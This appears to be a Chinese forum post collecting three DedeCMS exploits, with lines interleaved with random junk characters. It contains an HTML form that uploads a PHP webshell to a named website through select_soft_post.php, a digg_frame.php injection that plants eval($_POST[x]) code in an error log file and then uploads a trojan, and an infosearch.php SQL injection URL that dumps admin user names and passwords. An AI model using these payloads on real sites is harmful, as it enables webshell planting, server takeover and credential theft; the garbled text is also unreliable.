- e9 q* z( S3 x$ R8 ^2 U1 v* Z
& S; z3 V, V1 d& o2 U! @" {' m6 R

& @) j% B" J- M7 @) b4 ~0 ~, y+ p* s( A1 t
  K/ i+ C9 C  `: V
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞& M( |) I. a% e, q2 {6 I
<html>
) S! e9 n; I+ o( B6 a+ t( Y' ]% X<head>6 l' U) k, {. \$ J
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>) |  c: l3 Z% p
</head>
! c! y7 l" E7 G' J<body style="FONT-SIZE: 9pt">/ a  F& m) n* B- n
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
$ L2 s# S1 ~2 a/ a/ [8 _  E<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>  M5 x* V8 m% z  L2 i
<input type='hidden' name='activepath' value='/data/cache/' />
$ F/ z1 T' C' S; k3 V' l2 c0 ^5 l) w: Z<input type='hidden' name='cfg_basedir' value='../../' />
3 M0 s& W- m) A7 \<input type='hidden' name='cfg_imgtype' value='php' />
) O' b4 c+ w! L! e<input type='hidden' name='cfg_not_allowall' value='txt' />4 f! _4 @; k6 p/ U9 X0 {2 L; c. f
<input type='hidden' name='cfg_softtype' value='php' />
& e: S& I- @3 L2 ~2 R<input type='hidden' name='cfg_mediatype' value='php' />& I  Y1 R5 t5 V( {
<input type='hidden' name='f' value='form1.enclosure' />
/ x$ [( \( z3 i# a% T/ p. q  D<input type='hidden' name='job' value='upload' />
) i: ^7 z5 S% q( I8 v1 a- h2 n<input type='hidden' name='newname' value='fly.php' />2 A7 t0 h$ K( _3 M4 I0 j
Select U Shell <input type='file' name='uploadfile' size='25' />, @  |, I( P" b6 F
<input type='submit' name='sb1' value='确定' />( H! E5 J/ M5 s1 }$ a! W
</form>
. W1 H2 [" Q: S4 r( o<br />It's just a exp for the bug of Dedecms V55...<br />" E* z) x! N: w; q0 |3 f( T
Need register_globals = on...<br />
  V# D7 _: T3 H5 T- `9 @2 PFun the game,get a webshell at /data/cache/fly.php...<br />! e  }! b& j" A# Y) x" K
</body>& ]( b6 {5 e4 d6 x
</html>
; E& |* A$ F: e: q7 t3 Q, R& |9 P( O1 ^, x! G1 T9 ^7 i1 O
+ }* W- Z, h% C- r

3 q" P9 f. h% {  E2 ?& S
1 N0 q# J7 o% B7 ~0 n( s
: @. N  q" X$ y% b( n7 d6 n9 ]0 U/ D6 o+ A+ j# h1 g

( U; e3 j2 V" M5 K1 S/ q
/ Q6 Y, Y: O9 h5 e6 O( Z; r
; V0 E% o6 X0 x8 x* H+ O
) E5 n3 C0 E; k  M; E6 l织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞$ s+ L4 [3 {: ^2 s6 y. L4 r
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。8 u/ Z$ a0 y; G6 C: N8 t& X
1. 访问网址:
7 n7 }' q6 _7 ~; d' P: Q! g5 x
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>. L- r$ z! q. G5 J4 k
可看见错误信息: P/ F; h2 S$ e) J! D

) g$ Q8 o- k* Y( p" `, D( m; k( K' B4 U- u
2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
+ g: S. F( d" u$ L6 Cint(3) Error: Illegal double '1024e1024' value found during parsing
8 c; O  E3 _* u* S% S; O$ g0 OError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>0 ?5 b6 ?0 r1 K
! u- ?4 C: x/ D

5 k) a& A9 _$ [1 _5 O, _3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
: i2 W2 k9 R8 X4 B. P% e0 Z3 t. N& G$ B# r

1 h+ ^: d. m' d7 l<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>. C" d! W0 y. x( l  ~/ w
+ |3 p3 r( @3 D/ q0 w

0 |) Y: B: b% C# h+ l: D按确定后的看到第2步骤的信息表示文件木马上传成功.
7 W; A1 q& O2 n9 f# O* e( b& E: b& H* l5 P! s

% g3 F" s9 ]' e+ `  E# }. Y, i* Q% O8 e1 }- L& m6 O1 d
9 f* D# i1 u8 L4 ]& z8 r7 m

% Q8 X0 y  j* T8 }( j; U9 G
! m! B6 E# p5 L( y% i/ O
* U" x6 J& m3 o; n, C% s* @
! S4 x& w( H* z+ K7 u- p+ A+ o! }! E) s* z2 n9 q3 L& X) K* S
: F* H$ d6 s% @
0 ]9 p. u# f  C1 o: X  F
6 b  x5 H+ h# ^' G  @# B0 h2 @6 S
织梦(DedeCms)plus/infosearch.php 文件注入漏洞, {6 p! e: P" ?& W5 G
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表